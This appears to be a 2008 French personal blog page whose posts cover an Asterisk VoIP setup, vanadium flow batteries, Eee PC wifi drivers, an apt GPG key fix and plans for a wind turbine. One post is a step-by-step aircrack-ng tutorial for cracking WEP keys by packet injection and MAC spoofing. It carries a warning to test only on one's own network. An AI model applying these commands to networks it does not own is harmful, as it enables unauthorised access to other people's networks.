jeudi 31 janvier 2008

Freephonie : sauvons-nous avec Asterisk

Free suicide Freephonie : sauvons-nous avec Asterisk

Free a décidé de bloquer les appels à l'étranger depuis leur service de SIP, tout ça parce que leur interface d'édition de compte est moisie, pas secure et qu'ils sont incapables de détecter et bloquer les abus...
Facile quoi. Heureusement nous allons pouvoir passer outre, en rusant.
Pour cela il nous faut Asterisk, autrement dit un PABX en logiciel libre. Bon un PABX on s'en fout de savoir ce que ça veux dire, mais ce qui est important c'est que ça fait de la téléphonie, et donc le café.

Ce que j'ai fait est plutôt simple, ça consiste simplement à avoir asterisk qui s'occupe de faire le pont entre vos clients SIP et vos comptes SIP. Ici on a un compte freephonie sur lequel on va recevoir les appels et aussi émettre les appels vers un numéro en france (numéro à 10 chiffres). On a aussi un compte VoIPBuster (payant évidemment,
mais pas très cher heureusement), qui va permettre d'appeller l'international et aussi la france quand freephonie déconne (en réalité tout le temps).

Alors le truc simple : apt-get install asterisk. Voilà, facile, no problemo. Maintenant il faut modifier le fichier sip.conf :

[general]
defaultexpirey=1800
dtmfmode=auto
qualify=yes

; Vos comptes SIP où s'enregistrer
register => 09XXXX:secret@freephonie.net
register => blabla:secret@sip.voipbuster.com

; Compte VoIPBuster
[voipbuster]
type=peer
host=voipbuster.com
username=blabla
fromuser=blabla
secret=secret
nat=yes
allow=all

; Appels sortants sur Freephonie
[freephonie-out]
type=peer
host=freephonie.net
username=09XXX
fromuser=09XXX
secret=secret
nat=yes
fromdomain=freephonie.net
allow=all

; Et pour les appels entrants freephonie
[freephonie-in]
type=peer
context=fromfree
host=freephonie.net
allow=all

; Client SIP N°1 : mon téléphone SIEMENS C450IP
[phone]
type=friend
username=phone
secret=abcd
host=dynamic
context=maison
nat=yes
; Ces trois lignes suivantes sont spécifiques à mon téléphone pour qu'il fonctionne bien, vous pouvez les enlever pour un client SIP classique
dtmfmode=inband
allow=ulaw,alaw
canreinvite=no

Notez que vous pouvez rajouter autant de sections de type=friend que vous voulez pour avoir autant de clients SIP que vous désirez.

Maintenant configurons extensions.conf qui indique le plan de numérotation :

; Mon contexte c'est "maison", on peux avoir plusieurs contextes selon les clients si ça nous amuse
[maison]

; On compose un numéro à 10 chiffres commençant par zéro puis un chiffre qui n'est pas zéro (exemple 0154545689)
; Alors on essaye de le composer avec Freephonie, mais si ça marche pas on utilisera VoIPBuster
exten => _0ZXXXXXXXX,1,Dial(SIP/freephonie-out/${EXTEN})
exten => _0ZXXXXXXXX,2,Dial(SIP/voipbuster/0033${EXTEN:1})

; Règle spécifique à la belgique qui permet de composer un numéro belge sans le préfixe 0032 :
; si on tape un numéro comportant au moins 5 chiffres (les numéros ici sont plutôt variables en longueur),
; qui commence par zéro puis un chiffre qui n'est pas zéro (Z), alors on rajoute automatiquement le préfixe 0032
exten => _0ZXX.,1,Dial(SIP/voipbuster/0032${EXTEN:1})

; Autres numéros internationaux commençant par 00 (par ex. 0033 pour la france) : on passe par voipbuster directement
exten => _00ZXXX.,1,Dial(SIP/voipbuster/${EXTEN})

; Si le numéro n'est ni un numéro français ni un numéro belge ni un numéro international on raccroche
; (ou si freephonie et voipbuster sont down)
exten => _0Z.,3,Congestion

; Indique que faire avec les appels entrants sur freephonie
[fromfree]

; ici on fait sonner juste le téléphone (on pourrait faire sonner plusieurs clients SIP en mm temps ou à la suite, ou rediriger vers une boite vocale, je vous laisse mater les trucs sur le net à ce sujet)
exten => s,1,Dial(SIP/phone)

Voilà, un petit coup de /etc/init.d/asterisk restart et hop. Si vous avez des problèmes, tentez le débug, stoppez asterisk, puis en root lancez "asterisk -cvvvvvvvv".

lundi 28 janvier 2008

Batterie à circulation d'électrolytes

Des ingénieurs australiens
ont mis au point un procédé de stockage de l’électricité fondé sur la circulation d’électrolytes liquides. Principale application envisagée : la régulation de la production des éoliennes.

Située entre l’Australie et la Tasmanie, King Island n’a pas l’apparence d’une île aux portes du futur. Pourtant, un grand hangar construit sur sa côte ouest abrite un système de stockage d’électricité qui pourrait révolutionner l’énergie éolienne.

King Island n’est pas reliée au réseau électrique continental. En plus de sa petite centrale éolienne, elle a longtemps dépendu de générateurs Diesel pour subvenir à ses besoins en électricité. Mais les choses ont changé en 2003, lorsque la compagnie d’électricité locale a installé un énorme accumulateur de nouvelle génération, dit accumulateur à circulation au vanadium. Lorsque le vent souffle fort, les éoliennes produisent plus d’électricité que les habitants n’en ont besoin.
L’accumulateur stocke alors l’excédent d’énergie et le restitue lorsque le vent faiblit. L’utilisation de ce système a réduit de presque 50 % la quantité de fioul consommée par les générateurs thermiques, ce qui permet aussi d’éviter chaque année le rejet de plus de 2 000 tonnes de dioxyde de carbone dans l’atmosphère.

La part d’énergie éolienne est passée de 12 à 40 %

Adapter l’offre à la demande s’avère particulièrement problématique avec les énergies renouvelables. Le vent ne souffle pas toujours lorsqu’on en a besoin, ce qui oblige les compagnies d’électricité à prévoir une centrale classique pour les jours où il n’y a pas de vent et pour les périodes de forte consommation. C’est pourquoi un moyen efficace de stockage et de redistribution de l’électricité à grande
échelle donnerait aux énergies renouvelables un coup de pouce bienvenu.
Divers types d’accumulateurs existent déjà. Mais, si chaque technologie a ses avantages, les accumulateurs à circulation semblent répondre à une plus large palette de besoins : ils peuvent stocker de l’énergie aussi bien pour des petits groupes électrogènes que pour des grands réseaux, et ce à un prix compétitif.

Leur technologie est plus complexe que celle des accumulateurs classiques. Dans une batterie plomb-acide, par exemple, l’électricité est stockée sous forme d’énergie chimique dans la pile elle-même. Dans le cas des accumulateurs à circulation, on utilise deux électrolytes [liquides conducteurs à base d’ions], qui n’ont pas le même potentiel d’oxydoréduction (l’affinité des électrolytes pour les électrons) et
sont contenus dans des réservoirs externes à l’accumulateur. Lorsqu’il faut fournir de l’électricité, chacun des électrolytes est pompé dans la moitié d’une cuve séparée en deux par une fine membrane. La différence de potentiel d’oxydoréduction entre les deux liquides provoque un échange de charges électriques à travers la membrane, ce qui génère un courant qui est récupéré par des électrodes. Un courant injecté par une source d’énergie extérieure, ici les éoliennes, permet
d’inverser la réaction électrochimique et de régénérer les électrolytes, qui peuvent alors être reversés dans leurs réservoirs.

L’origine de l’installation de King Island remonte aux années 1980, lorsque Maria Skyllas-Kazacos, une jeune ingénieure chimiste australienne, a entamé des recherches sur les accumulateurs à circulation à l’université de Nouvelle-Galles du Sud, à Sydney. Après plus de dix ans de mise au point, la licence d’exploitation de sa technique a été accordée à une entreprise de Melbourne, Pinnacle VRB.
C’est elle qui a monté l’accumulateur à circulation sur King Island. Celui-ci fonctionne avec 70 000 litres de solution de sulfate de vanadium stockés dans de grands réservoirs en métal, et peut fournir 400 kilowatts pendant deux heures d’affilée. Depuis sa mise en service, la part moyenne d’électricité éolienne dans le réseau de l’île est passée d’environ 12 % à 40 %.

La durée de vie des accumulateurs devrait largement dépasser celle de deux à trois ans d’une batterie plomb-acide. A l’instar des batteries plomb-acide, les accumulateurs à circulation restituent jusqu’à 80 % de l’électricité utilisée pour les charger, mais eux gardent cette efficacité pendant plusieurs années. Pour accroître le rendement de l’accumulateur en période de pointe, il suffit d’ajouter des cuves. La quantité d’énergie qu’il stockera peut être augmentée presque à
l’infini en fabriquant des réservoirs plus grands. Il s’agit donc d’une technique qui permet de concevoir des accumulateurs capables de fournir aussi bien 1 kilowattheure (autant qu’une grosse batterie d’automobile) que plusieurs centaines de mégawattheures dans une centrale électrique.

Des petits accumulateurs à circulation au vanadium sont déjà disponibles au Japon, où ils sont utilisés entre autres comme générateurs de secours dans des usines. Aux Etats-Unis, un accumulateur de 2 mégawattheures installé à Castle Valley, dans le sud-est de l’Utah, a permis à la compagnie d’électricité locale, PacifiCorp, de
répondre à des pics de demande de plus en plus importants, et ce sans avoir à augmenter la capacité de la ligne de distribution vieillissante qui alimente la zone. La technologie mise au point à l’université de Nouvelle-Galles du Sud est aujourd’hui appliquée par l’entreprise VRB Power Systems, de Vancouver, au Canada. Celle-ci a signé l’année dernière un contrat de 6,3 millions de dollars [4,8 millions d’euros] pour installer un accumulateur au vanadium de 12 mégawattheures dans la centrale éolienne de Sorne Hill, à Donegal, en Irlande. L’objectif est de garantir l’alimentation en électricité éolienne et d’améliorer la
situation financière de la centrale. Celle-ci pourra revendre au réseau l’électricité stockée pendant les périodes de pointe, durant lesquelles les tarifs sont les plus élevés.
L’entreprise a mis en service une nouvelle ligne de production permettant de fabriquer chaque année 2 000 accumulateurs de 5 kilowatts. Les douze premiers sont actuellement testés entre autres par le Conseil national de la recherche du Canada et par l’un des plus grands opérateurs de téléphonie mobile d’Amérique du Nord. Aujourd’hui, comme tous les nouveaux produits, les accumulateurs à circulation sont plus chers que leurs concurrents. Mais la mise en service de la
nouvelle ligne de production pourrait bien changer la donne.

De plus, les chercheurs continuent leurs travaux. Les solutions au sulfate de vanadium ne pouvant pas être très concentrées, les batteries à circulation au vanadium stockent environ moitié moins d’énergie que les batteries plomb-acide. On ne peut donc pas les utiliser pour des applications où la compacité et la légèreté sont primordiales. C’est pourquoi Maria Skyllas-Kazacos et son équipe cherchent maintenant à remplacer le sulfate de vanadium par du bromure de vanadium, au moins deux fois plus soluble. Les résultats de leurs travaux devraient être
connus d’ici à 2008.

VRB Power Systems a déjà testé ses accumulateurs dans des voiturettes de golf électriques. Tout comme les véhicules électriques existants, les voitures équipées d’un accumulateur à circulation pourront être rechargées en les branchant sur une prise électrique. Peut-être même qu’un jour on pourra tout simplement remplir leur réservoir avec de l’électrolyte régénéré, et la solution usagée pourra être recyclée.

Peu importe que nous fassions ou non un jour le plein de vanadium à la pompe : King Island a prouvé que les accumulateurs à circulation ont déjà un rôle pratique à jouer, en permettant à l’énergie produite par le vent de continuer à filer dans les lignes électriques même lorsqu’il n’y a pas un souffle d’air. Vous ne vous rendrez peut-être même pas compte qu’elle est là, ce qui est sans doute le plus beau compliment qu’on puisse lui faire.

Tim Thwaites
New Scientist
http://www.newscientist.com/
http://www.courrierinternational.com/article.as...&obj_id=70316


vendredi 25 janvier 2008

Passer la carte wifi en mode monitor sous Xandros

Je suis repassé hier sous Xandrox, car il est plus rapide au lancement, ainsi qu’à l’utilisation. Par contre, les drivers wifi par défaut ne permettent pas de passer la carte en mode monitor.

Pour réaliser ceci, on va installer de nouveaux drivers.
Voici la marche à suivre :

On se rend dans le répertoire /lib/modules

Par sécurité, on va faire une copie de sécurité du répertoire contenant les modules d’origine :

$ sudo cp -ar 2.6.21.4-eeepc backup

Il faut arrêter provisoirement le wifi :

$ sudo modprobe -r ath_pci
$ sudo modprobe -r wlan_scan_sta
$ sudo modprobe -r wlan_wep

On se rend dans le répertoire /lib/modules
On télécharge les drivers et on les décompresse :

$ wget http://obfusc.at/ed/eeepc/modules.tar.gz
$ sudo tar xfvz modules.tar.gz

On charge le nouveau driver et on relance l’interface réseau :

$ sudo modprobe -i ath_pci
$ sudo ifconfig ath0 up

Et voilà ! Les nouveaux drivers sont installés et opérationnels !

Tuto crack clef Wep avec un EEE PC

Petit rappel : vous ne pouvez tester ce qui suit que sur un réseau qui vous appartient. Autrement, c’est illégal et ça peut vous coûter très cher …

Ce dont vous avez besoin :

- un eeePC
- aircrack-ng installé :
- soit vous l’installez sur votre système
- soit vous démarrez votre eeePC à partir d’une distribution spécialisée dans la sécurité (bracktrack par exemple)

1 - Il faut tout d’abord stopper la carte wifi :

airmon-ng stop ath0

2 - Ensuite, on la redémarre en mode ‘monitor’ :

airmon-ng start wifi0

3 - On lance la capture de fichier :

airodump-ng –write fichier ath0

fichier : nom du fichier dans lequel les paquets seront enregistrés

4 - Pour accélerer le processus, on va injecter des paquets. On ouvre un second terminal et on tape :

aireplay-ng -3 –e SSID –b @MAC_DU_SSID ath0

SSID : remplacer par le nom de votre réseau wifi
@MAC_DU_SSID : remplacer par l’adresse MAc de votre borne wifi.

5 - Si le nombre de paquets n’augmente pas assez vite, il se peut que la borne soit configurée avec une authentification.

On va se faire passer par un ordinateur autorisé.On ouvre un nouveau terminal et on tape :

aireplay-ng -1 0 –e ESSID –a @_MAC_AP –h @_MAC_station ath0

avec :

ESSID : nom du réseau wifi
@MAC_DU_AP :adresse mac de la borne wifi
@_MAC_station : adresse mac de votre ordinateur

6 - On retourne sur le terminal où tourne airodump-ng.

Le nombre de paquets doit augmenter significativement. Lorsqu’il atteint 40 000, on peut lancer aircrack-ng pour trouver la clef Wep.
On ouvre un nouveau terminal, et on tape :

aircrack-ng -0 -z fichier

en remplacant fichier par le nom du fichier que vous avez indiqué dans la commande airodump-ng

7 - Si vous avez capturé assez paquets, aircrack-ng vous donnera rapidement la clef wifi

Source: http://blog.frencheee.com

Disque réseau, copier CD en mp3, ... Zicmama

jeudi 24 janvier 2008

Clef GPG manquante pour apt-get update

Si lors d'un "apt-get update" vous avez des erreurs du type:
W: GPG error: ftp://ftp.fr.debian.org stable/non-US Release: Les signatures suivantes n'ont pas pu être vérifiées car la clé publique n'est pas disponible : NO_PUBKEY F1D53D8C4F368D5D
W: Vous pouvez lancer « apt-get update » pour corriger ces problèmes.
Alors avec CLEF valant les 8 derniers caractères (dans notre cas 4F368D5D)
Lancer:
CLE=4F368D5D
gpg --keyserver pgpkeys.mit.edu --recv-key $CLE
gpg -a --export $CLE | apt-key add -
Et voila!


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mercredi 23 janvier 2008

Construire une éolienne à axe vertical

Construire une éolienne à axe vertical - Une éolienne à vitesse constante


Présentation

Cette fiche contient les plans pour vous fabriquer une petite éolienne à vitesse constante. Le but est d'arriver à la faire avec du matériel de récupération. Elle est capable de faire débiter entre 600 et 700 watts à un alternateur par un vent de seulement 30 km/h. Peu importe d'où vient le vent, de part sa conception, elle est toujours au top. Un astucieux système de régulation automatique permet d'assurer une rotation à peu près constante quelle que soit la vitesse du vent. De plus, elle se bloque automatiquement en cas de forte tempête. Pour info, le principe de l'éolienne à axe vertical fut breveté par un ingénieur français nommé Georges Darrieus en 1931.

Principe de fonctionnement

Quatre pales en forme de godet tournent sous l'action du vent (fig. 10). Elles se placent automatiquement dans la meilleure position en fonction de sa force et transmettent ainsi une vitesse constante à l'axe vertical. Par brise légère, les pales s'ouvrent au maximum. Lorsque le vent souffle fort, elles tendent à se refermer. A noter que le couple maximum appliqué sur l'axe se produit lorsqu'elles sont aux
trois quarts fermées. Si le vent devient encore plus violent, les pales se ferment complètement et se rouvrent sous l'effet de ressorts dès qu'il faiblit (fig. 9).

Liste des matériaux

  • 4 feuilles de tôle d'acier doux en 20/10 de 1000 x 750 mm
  • 8 feuilles de tôle d'acier doux en 20/10 de 700 x 150 mm
  • 3,5 m de fer plat de 80 x 5 mm
  • 1 tôle de 320 x 320 de 5 mm d'épaisseur
  • 1,4 m de fer plat de 30 x 5 mm
  • 16 cm de fer plat de 20 x 4 mm
  • 15 cm de fer rond de 50 mm
  • 1 morceau de tube d'acier de diamètre 38 x 50 mm
  • 1 morceau de tube d'acier de diamètre 20 x 80 mm
  • 1 rondelle de nylon diamètre 60, épaisseur 8 mm environ
  • 1 butée à billes
  • 1 roulement à billes diamètre 30
  • 8 vis diamètre 12 x 40 mm, avec écrous de 12 et rondelles
  • 8 vis diamètre 8 x 15 mm + écrous et contre écrous de 8
  • 4 vis diamètre 8 x 10 mm
  • 2 ressorts de traction diamètre de fil 3 mm, diamètre extérieur 30 mm, longueur 330 mm
  • 1 barre d'acier (comprimé) diamètre 30 mm x 1950 mm
  • 9 m de cornière perforée de 50 x 50 mm
  • 1 plaque de tôle de 700 x 190 mm

Construction des pales

Elles sont au nombre de quatre et sont taillées dans de la tôle de 2 mm d'épaisseur. Elles sont chacune découpées dans une plaque de 100 x 75 cm et sont cintrées dans un rayon de 480 mm.







Les supports de pales


Support inférieur



















































Support supérieur

















La croix de liaison












Biellette et accessoires

























Le socle

Il se compose de quatre pieds reliés par deux plateformes.

Position des pales en fonction du vent





















Principe















Pour la suite

Pour que l'éolienne puisse faire tourner un alternateur il faut rajouter une poulie U à gorge trapézoïdale sous la plate forme inférieure. Il suffit de la fixer sur l'axe N et de rajouter une courroie qui fera tourner un alternateur de votre choix. Pour réduire le coût, nous vous conseillons de récupérer un alternateur 12 volts de voiture dans une casse et de le modifier en suivant la documentation technique. Vous pouvez aussi récupérer un générateur sur un petit groupe électrogène.

Lecture complémentaire :

Source :


Convertir un moteur en alternateur

Convertir un moteur en alternateur